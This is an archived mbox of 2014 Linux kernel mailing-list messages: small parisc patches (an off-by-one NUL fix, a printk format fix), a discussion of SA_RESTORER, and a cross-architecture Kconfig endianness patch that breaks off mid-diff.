More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dan Carpenter <dan.carpenter@oracle.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.janitors
Subject: [patch] [PARISC] sys_hpux: NUL terminator is one past the end
Date: Thu, 31 Jul 2014 18:20:20 +0300
Lines: 25
Approved: news@gmane.org
Message-ID: <20140731152020.GB31539@mwanda>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1406820072 28198 80.91.229.3 (31 Jul 2014 15:21:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Jul 2014 15:21:12 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	kernel-janitors@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 31 17:21:00 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XCsA7-0006Xg-Nw
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Jul 2014 17:21:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751597AbaGaPU6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Jul 2014 11:20:58 -0400
Original-Received: from aserp1040.oracle.com ([141.146.126.69]:17761 "EHLO
	aserp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751003AbaGaPU6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Jul 2014 11:20:58 -0400
Original-Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94])
	by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s6VFKhgV019675
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Thu, 31 Jul 2014 15:20:44 GMT
Original-Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230])
	by ucsinet22.oracle.com (8.14.5+Sun/8.14.5) with ESMTP id s6VFKfnJ001656
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Thu, 31 Jul 2014 15:20:42 GMT
Original-Received: from abhmp0006.oracle.com (abhmp0006.oracle.com [141.146.116.12])
	by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s6VFKfw7007119;
	Thu, 31 Jul 2014 15:20:41 GMT
Original-Received: from mwanda (/41.202.240.9)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Thu, 31 Jul 2014 08:20:40 -0700
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Source-IP: ucsinet22.oracle.com [156.151.31.94]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5967 gmane.linux.kernel.janitors:31237
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5967>

We allocate "len" number of chars so we should put the NUL at "len - 1"
to avoid corrupting memory.  Btw, strlen_user() is different from the
normal strlen() function because it includes NUL terminator in the
count.

Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>

diff --git a/arch/parisc/hpux/sys_hpux.c b/arch/parisc/hpux/sys_hpux.c
index d9dc6cd..e5c4da0 100644
--- a/arch/parisc/hpux/sys_hpux.c
+++ b/arch/parisc/hpux/sys_hpux.c
@@ -456,7 +456,7 @@ int hpux_sysfs(int opcode, unsigned long arg1, unsigned long arg2)
 		}
 
 		/* String could be altered by userspace after strlen_user() */
-		fsname[len] = '\0';
+		fsname[len - 1] = '\0';
 
 		printk(KERN_DEBUG "that is '%s' as (char *)\n", fsname);
 		if ( !strcmp(fsname, "hfs") ) {
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hans Wennborg <hans@hanshq.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 13/19] drivers: parisc: fix %d confusingly prefixed with 0x in format string
Date: Sun,  3 Aug 2014 17:20:30 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <1407111630-15087-1-git-send-email-hans@hanshq.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1407111672 29789 80.91.229.3 (4 Aug 2014 00:21:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Aug 2014 00:21:12 +0000 (UTC)
Cc: Hans Wennborg <hans@hanshq.net>
To: jejb@parisc-linux.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Aug 04 02:21:05 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XE61Q-00058d-BW
	for glk-linux-kernel-3@plane.gmane.org; Mon, 04 Aug 2014 02:21:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753554AbaHDAUr (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 3 Aug 2014 20:20:47 -0400
Original-Received: from s87.loopia.se ([194.9.94.112]:35680 "EHLO s87.loopia.se"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753000AbaHDAUm (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Sun, 3 Aug 2014 20:20:42 -0400
Original-Received: from s87.loopia.se (localhost [127.0.0.1])
	by s87.loopia.se (Postfix) with ESMTP id CB41F1CCEEE3;
	Mon,  4 Aug 2014 02:20:40 +0200 (CEST)
X-Virus-Scanned: amavisd-new at outgoing-smtp.loopia.se
X-Spam-Flag: NO
X-Spam-Score: -1
X-Spam-Level: 
X-Spam-Status: No, score=-1 tagged_above=-999 required=15
	tests=[ALL_TRUSTED=-1] autolearn=disabled
Original-Received: from s87.loopia.se ([127.0.0.1])
	by s87.loopia.se (s87.loopia.se [127.0.0.1]) (amavisd-new, port 10024)
	with LMTP id bAGy_aQ_s3wK; Mon,  4 Aug 2014 02:20:40 +0200 (CEST)
Original-Received: from s498.loopia.se (unknown [172.21.200.96])
	by s87.loopia.se (Postfix) with ESMTP id 931A11CCEEE1;
	Mon,  4 Aug 2014 02:20:40 +0200 (CEST)
Original-Received: from s404.loopia.se (unknown [172.21.200.105])
	by s498.loopia.se (Postfix) with ESMTP id 21DE7C529AD;
	Mon,  4 Aug 2014 02:20:40 +0200 (CEST)
X-Virus-Scanned: amavisd-new at amavis.loopia.se
Original-Received: from s499.loopia.se ([172.21.200.105])
	by s404.loopia.se (s404.loopia.se [172.21.200.134]) (amavisd-new, port 10024)
	with LMTP id Eu-CiYK04J40; Mon,  4 Aug 2014 02:20:39 +0200 (CEST)
Original-Received: from hwennborg.mtv.corp.google.com (unknown [216.239.45.94])
	(Authenticated sender: out@wennborg.se)
	by s499.loopia.se (Postfix) with ESMTPSA id B8FB515337B3;
	Mon,  4 Aug 2014 02:20:38 +0200 (CEST)
X-Mailer: git-send-email 2.0.0.526.g5318336
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1761469 gmane.linux.ports.parisc:5968
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1761469>

Signed-off-by: Hans Wennborg <hans@hanshq.net>
---
 drivers/parisc/dino.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 9eae983..a0580af 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -913,7 +913,7 @@ static int __init dino_probe(struct parisc_device *dev)
 	printk("%s version %s found at 0x%lx\n", name, version, hpa);
 
 	if (!request_mem_region(hpa, PAGE_SIZE, name)) {
-		printk(KERN_ERR "DINO: Hey! Someone took my MMIO space (0x%ld)!\n",
+		printk(KERN_ERR "DINO: Hey! Someone took my MMIO space (0x%lx)!\n",
 			hpa);
 		return 1;
 	}
-- 
2.0.0.526.g5318336


From - Thu Nov 08 21:10:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: struct sigaction sa_restorer field
Date: Sun, 10 Aug 2014 09:49:52 -0400
Organization: wh0rd.org
Lines: 55
Approved: news@gmane.org
Message-ID: <108312262.dGJ5C12eXd@vapier>
References: <BLU436-SMTP205700FFA476092032AE8BA97F30@phx.gbl> <trinity-72a99ebc-405d-44c1-8c8b-0a04a9b401b3-1405931146850@3capp-gmx-bs43>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart12164454.cxKZzXsbXx"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1407678611 30645 80.91.229.3 (10 Aug 2014 13:50:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 10 Aug 2014 13:50:11 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 10 15:50:04 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XGTVb-0000SR-VE
	for glpp-linux-parisc@plane.gmane.org; Sun, 10 Aug 2014 15:50:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751519AbaHJNuD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 10 Aug 2014 09:50:03 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:44873 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751482AbaHJNuB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 10 Aug 2014 09:50:01 -0400
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id EC9E53404BB;
	Sun, 10 Aug 2014 13:49:55 +0000 (UTC)
User-Agent: KMail/4.13.3 (Linux/3.14.2; KDE/4.13.3; x86_64; ; )
In-Reply-To: <trinity-72a99ebc-405d-44c1-8c8b-0a04a9b401b3-1405931146850@3capp-gmx-bs43>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5970
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5970>


--nextPart12164454.cxKZzXsbXx
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="us-ascii"

On Mon 21 Jul 2014 10:25:46 Helge Deller wrote:
> > The sa_restorer field is obsolete and not in the hppa struct
> > sigaction, but we still define SA_RESTORER.  What should be done?
>=20
> Basically to not break userspace we can't (and shouldn't) add the
> sa_restorer struct member. So, the only option would be to drop the
> SA_RESTORER #define, right? But I have no idea how and if this will b=
reak
> some builds, since the major arches seem to define SA_RESTORER...

would be nice to drop.  i had to update strace to undef it for hppa sin=
ce the=20
field didn't actually exist -- it uses the define to see whether the fi=
eld=20
should be decoded (which is why strace decoding of this syscall hasn't =
worked=20
in the past on parisc).  not all arches define it, so i think there's a=
lready=20
cover for code needing to check for its existence.
=2Dmike
--nextPart12164454.cxKZzXsbXx
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQIcBAABAgAGBQJT53iFAAoJEEFjO5/oN/WBp38QAKu+D89yvvOkGYDGU+4cb8wO
jB2IDUwujIUziQHd1wlT2vdX58dDtZHpGUxoeCnQjmEAVQ+5vinBMX4gGr9USrBx
XINlMh+OmwUY9Jvrox4OqqByhdhZfxy9hznKFDTrZ+40vpv/0kunLBrSfLj5epof
KfJ8MsFAdwbJ9FHpY85DuzlkScBDI+LgLBOg2iZMUekhokhm9Gd44M1m//3xtls4
GxIesrkDhgQFAlUntxmj2NqvsG4JwnfyBH34JytMMN4Ojx13LfHfTFK4ueXsmgE7
MjUXaODZ/SyCxnzz+GZdxNBjwz6f57NIkgB3b/qgDsUKAAy4Wx0l6iXrKahrCf4N
sQYB+moDDuqjCtyJpP/ZDRx95l5x94F/tLQCvRJD7ZcRNduz8kNEaqxdL8nTeSJ/
fgHjzA14d1w3CCx8j0iBfJzt/nFmWyLWS0wabuNiQu4wYzEPAjXbNfXAlItrGbnq
L2GCX8cflx7scEUD8dwpFGW9Szkgj8YR3Zr8NAecox9nOq2cxkIBCXFWnJPr/+TL
ttv53Y8GDwHcXtLYBzAiNMpHWRrhjLPy9ZRsnfNQXu7veokPSXU6BkVdHUam28VY
+pbLEkbZev+6dEtSIwq5AE3Hu5dx1i3rTbUaEI2qjOM8VdxCsH10TyQk+SBGO61O
09oLceBbRJf4013+04OU
=RFst
-----END PGP SIGNATURE-----

--nextPart12164454.cxKZzXsbXx--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen.5i5j@gmail.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user
Subject: [PATCH v3] arch: Kconfig: Let all architectures set endian explicitly
Date: Fri, 15 Aug 2014 00:54:53 +0800
Lines: 457
Approved: news@gmane.org
Message-ID: <53ECE9DD.80004@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1408036069 30604 80.91.229.3 (14 Aug 2014 17:07:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Aug 2014 17:07:49 +0000 (UTC)
Cc: linux390@de.ibm.com, x86@kernel.org, linux-alpha@vger.kernel.org,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m32r@ml.linux-m32r.org, linux-m32r-ja@ml.linux-m32r.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-am33-list@redhat.com,
        linux@lists.openrisc.net, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        sparclinux@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net,
        user-mode-linux-user@lists.sourceforge.net,
        linux-xtensa@linux-xtensa.org
To: Arnd Bergmann <arnd@arndb.de>, akpm@linux-foundation.org,
        rth@twiddle.net, ink@jurassic.park.msu.ru, mattst88@gmail.com,
        vgupta@synopsys.com, Geert Uytterhoeven <geert@linux-m68k.org>,
        Jean Delvare <jdelvare@suse.de>, linux@arm.linux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com,
        hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
        msalter@redhat.com, a-jacquiot@ti.com, starvik@axis.com,
        jesper.nilsson@axis.com, dhowells@redhat.com, rkuo@codeaurora.org,
        tony.luck@intel.com, fenghua.yu@intel.com, takata@linux-m32r.org,
        james.hogan@imgtec.com, Michal Simek <monstr@monstr.eu>,
        ralf@linux-mips.org, yasutake.koichi@jp.panasonic.com,
        jonas@southpole.se, jejb@parisc-linux.org, deller@gmx.de,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        paulus@samba.org, mpe@ellerma
Original-X-From: linux-mips-bounce@linux-mips.org Thu Aug 14 19:07:35 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from marvin.linux-mips.org ([78.24.191.183] helo=git.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1XHyUu-0005QK-By
	for sgi-linux-mips@gmane.org; Thu, 14 Aug 2014 19:07:32 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:52872 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S6860905AbaHNQ4Iw9esG (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 14 Aug 2014 18:56:08 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 14 Aug 2014 18:55:45 +0200 (CEST)
Original-Received: from mail-pa0-f46.google.com ([209.85.220.46]:51602 "EHLO
        mail-pa0-f46.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S6842554AbaHNQz2OXofe (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Thu, 14 Aug 2014 18:55:28 +0200
Original-Received: by mail-pa0-f46.google.com with SMTP id lj1so1944880pab.19
        for <multiple recipients>; Thu, 14 Aug 2014 09:55:21 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :content-type:content-transfer-encoding;
        bh=uvaL60LI9xcUqQTjlJ9fWN0G03l2Yjpifbk9D+Njdqo=;
        b=wjdv41DZxR84FbaW5DYILZ6Gzk0ucQ3/m/HUobr9I1Ju6zkHLzUZFIpX7tZViYs582
         oHwmb9FFC/uWY3BYDdr5mejV4g4anJCEGv3o3ZC1zpeIuGNiIPbREkyoksNfP+S68Sda
         ceEsMmLGHCGu/C0p07SPib6WVnZx2G3T7YG4yTRHIxMjGmBj3ZgBQNaLPjKU/KVZaXKP
         FFoHPDq+H173ni+nSPCr0+NYyZwgI42d17MsDBNBT9Ks5midrY82HnOslsfZXhjJUo8w
         XXqc67RxkjmPaTImFYwm8hHfKC9p8iEjzpXAcHWtUJNe3OFMBm7yvz8ysn9Z/Za0t41t
         OzKQ==
X-Received: by 10.70.88.140 with SMTP id bg12mr5315298pdb.106.1408035321367;
        Thu, 14 Aug 2014 09:55:21 -0700 (PDT)
Original-Received: from [192.168.1.102] ([223.72.65.73])
        by mx.google.com with ESMTPSA id pr5sm5793336pbb.53.2014.08.14.09.55.02
        for <multiple recipients>
        (version=TLSv1 cipher=RC4-SHA bits=128/128);
        Thu, 14 Aug 2014 09:55:20 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7
X-archive-position: 42103
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: gang.chen.5i5j@gmail.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:43249 gmane.linux.ports.alpha:2344 gmane.linux.kernel:1768227 gmane.linux.ports.arm.kernel:348617 gmane.linux.ports.hexagon:745 gmane.linux.ports.ia64:24117 gmane.linux.kernel.metag:241 gmane.linux.ports.openrisc:511 gmane.linux.ports.parisc:5971 gmane.linux.ports.ppc64.devel:104333 gmane.linux.ports.sparc:19435 gmane.linux.uml.devel:14555 gmane.linux.uml.user:14699
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/43249>

Normal architectures:

 - Big endian: avr32, frv, m68k, openrisc, parisc, s390, sparc

 - Little endian: alpha, blackfin, cris, hexagon, ia64, metag, mn10300,
                  score, unicore32, x86

 - Choose in config time: arc, arm, arm64, c6x, m32r, mips, powerpc, sh

Special architectures:

 - Deside by compiler: microblaze, tile, xtensa.

 - Deside by building host: um

 - Next, need improve Kbuild to probe endian to deside whether need mark
   __BUILDING_TIME_BIG_ENDIAN__ before real config.

Another improvements:

 - score: use '\t' instead of ' '.

 - s390: sort the select value in alpha order.

Signed-off-by: Chen Gang <gang.chen.5i5j@gmail.com>
---
 arch/alpha/Kconfig      |  1 +
 arch/arc/Kconfig        |  1 +
 arch/arm/Kconfig        |  1 +
 arch/arm64/Kconfig      |  1 +
 arch/avr32/Kconfig      |  1 +
 arch/blackfin/Kconfig   |  1 +
 arch/c6x/Kconfig        |  1 +
 arch/cris/Kconfig       |  1 +
 arch/frv/Kconfig        |  1 +
 arch/hexagon/Kconfig    |  1 +
 arch/ia64/Kconfig       |  1 +
 arch/m32r/Kconfig       |  1 +
 arch/m68k/Kconfig       |  1 +
 arch/metag/Kconfig      |  1 +
 arch/microblaze/Kconfig |  2 ++
 arch/mips/Kconfig       |  1 +
 arch/mn10300/Kconfig    |  1 +
 arch/openrisc/Kconfig   |  1 +
 arch/parisc/Kconfig     |  1 +
 arch/powerpc/Kconfig    |  1 +
 arch/s390/Kconfig       |  3 ++-
 arch/score/Kconfig      | 21 +++++++++++----------
 arch/sparc/Kconfig      |  1 +
 arch/tile/Kconfig       |  2 ++
 arch/um/Kconfig.common  |  2 ++
 arch/unicore32/Kconfig  |  1 +
 arch/x86/Kconfig        |  1 +
 arch/xtensa/Kconfig     |  2 ++
 init/Kconfig            |  6 ++++++
 29 files changed, 49 insertions(+), 11 deletions(-)

diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
index b7ff9a3..1cb7426 100644
--- a/arch/alpha/Kconfig
+++ b/arch/alpha/Kconfig
@@ -27,6 +27,7 @@ config ALPHA
 	select MODULES_USE_ELF_RELA
 	select ODD_RT_SIGACTION
 	select OLD_SIGSUSPEND
+	select CPU_LITTLE_ENDIAN
 	help
 	  The Alpha is a 64-bit general-purpose processor designed and
 	  marketed by the Digital Equipment Corporation of blessed memory,
diff --git a/arch/arc/Kconfig b/arch/arc/Kconfig
index 9596b0a..e939abd 100644
--- a/arch/arc/Kconfig
+++ b/arch/arc/Kconfig
@@ -35,6 +35,7 @@ config ARC
 	select OF_EARLY_FLATTREE
 	select PERF_USE_VMALLOC
 	select HAVE_DEBUG_STACKOVERFLOW
+	select CPU_LITTLE_ENDIAN if !CPU_BIG_ENDIAN
 
 config TRACE_IRQFLAGS_SUPPORT
 	def_bool y
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index 32cbbd5..3a806b3 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -12,6 +12,7 @@ config ARM
 	select ARCH_WANT_IPC_PARSE_VERSION
 	select BUILDTIME_EXTABLE_SORT if MMU
 	select CLONE_BACKWARDS
+	select CPU_LITTLE_ENDIAN if !CPU_BIG_ENDIAN
 	select CPU_PM if (SUSPEND || CPU_IDLE)
 	select DCACHE_WORD_ACCESS if HAVE_EFFICIENT_UNALIGNED_ACCESS
 	select GENERIC_ATOMIC64 if (CPU_V7M || CPU_V6 || !CPU_32v6K || !AEABI)
diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
index 62b4ae1..c5a91de 100644
--- a/arch/arm64/Kconfig
+++ b/arch/arm64/Kconfig
@@ -17,6 +17,7 @@ config ARM64
 	select BUILDTIME_EXTABLE_SORT
 	select CLONE_BACKWARDS
 	select COMMON_CLK
+	select CPU_LITTLE_ENDIAN if !CPU_BIG_ENDIAN
 	select CPU_PM if (SUSPEND || CPU_IDLE)
 	select DCACHE_WORD_ACCESS
 	select GENERIC_CLOCKEVENTS
diff --git a/arch/avr32/Kconfig b/arch/avr32/Kconfig
index b6878eb..fab44ee 100644
--- a/arch/avr32/Kconfig
+++ b/arch/avr32/Kconfig
@@ -17,6 +17,7 @@ config AVR32
 	select GENERIC_CLOCKEVENTS
 	select HAVE_MOD_ARCH_SPECIFIC
 	select MODULES_USE_ELF_RELA
+	select CPU_BIG_ENDIAN
 	help
 	  AVR32 is a high-performance 32-bit RISC microprocessor core,
 	  designed for cost-sensitive embedded applications, with particular
diff --git a/arch/blackfin/Kconfig b/arch/blackfin/Kconfig
index ed30699..348f16d 100644
--- a/arch/blackfin/Kconfig
+++ b/arch/blackfin/Kconfig
@@ -40,6 +40,7 @@ config BLACKFIN
 	select HAVE_MOD_ARCH_SPECIFIC
 	select MODULES_USE_ELF_RELA
 	select HAVE_DEBUG_STACKOVERFLOW
+	select CPU_LITTLE_ENDIAN
 
 config GENERIC_CSUM
 	def_bool y
diff --git a/arch/c6x/Kconfig b/arch/c6x/Kconfig
index 77ea09b..7e74d14 100644
--- a/arch/c6x/Kconfig
+++ b/arch/c6x/Kconfig
@@ -17,6 +17,7 @@ config C6X
 	select OF_EARLY_FLATTREE
 	select GENERIC_CLOCKEVENTS
 	select MODULES_USE_ELF_RELA
+	select CPU_LITTLE_ENDIAN if !CPU_BIG_ENDIAN
 
 config MMU
 	def_bool n
diff --git a/arch/cris/Kconfig b/arch/cris/Kconfig
index 52731e2..405a097 100644
--- a/arch/cris/Kconfig
+++ b/arch/cris/Kconfig
@@ -52,6 +52,7 @@ config CRIS
 	select CLONE_BACKWARDS2
 	select OLD_SIGSUSPEND
 	select OLD_SIGACTION
+	select CPU_LITTLE_ENDIAN
 
 config HZ
 	int
diff --git a/arch/frv/Kconfig b/arch/frv/Kconfig
index 34aa193..aa21ccc 100644
--- a/arch/frv/Kconfig
+++ b/arch/frv/Kconfig
@@ -14,6 +14,7 @@ config FRV
 	select OLD_SIGSUSPEND3
 	select OLD_SIGACTION
 	select HAVE_DEBUG_STACKOVERFLOW
+	select CPU_BIG_ENDIAN
 
 config ZONE_DMA
 	bool
diff --git a/arch/hexagon/Kconfig b/arch/hexagon/Kconfig
index 4dc89d1..ee91285 100644
--- a/arch/hexagon/Kconfig
+++ b/arch/hexagon/Kconfig
@@ -28,6 +28,7 @@ config HEXAGON
 	select MODULES_USE_ELF_RELA
 	select GENERIC_CPU_DEVICES
 	select HAVE_DMA_ATTRS
+	select CPU_LITTLE_ENDIAN
 	---help---
 	  Qualcomm Hexagon is a processor architecture designed for high
 	  performance and low power across a wide variety of applications.
diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
index c84c88b..54f32c7 100644
--- a/arch/ia64/Kconfig
+++ b/arch/ia64/Kconfig
@@ -49,6 +49,7 @@ config IA64
 	select MODULES_USE_ELF_RELA
 	select ARCH_USE_CMPXCHG_LOCKREF
 	select HAVE_ARCH_AUDITSYSCALL
+	select CPU_LITTLE_ENDIAN
 	default y
 	help
 	  The Itanium Processor Family is Intel's 64-bit successor to
diff --git a/arch/m32r/Kconfig b/arch/m32r/Kconfig
index 9e44bbd..1932483 100644
--- a/arch/m32r/Kconfig
+++ b/arch/m32r/Kconfig
@@ -16,6 +16,7 @@ config M32R
 	select ARCH_USES_GETTIMEOFFSET
 	select MODULES_USE_ELF_RELA
 	select HAVE_DEBUG_STACKOVERFLOW
+	select CPU_BIG_ENDIAN if !CPU_LITTLE_ENDIAN
 
 config SBUS
 	bool
diff --git a/arch/m68k/Kconfig b/arch/m68k/Kconfig
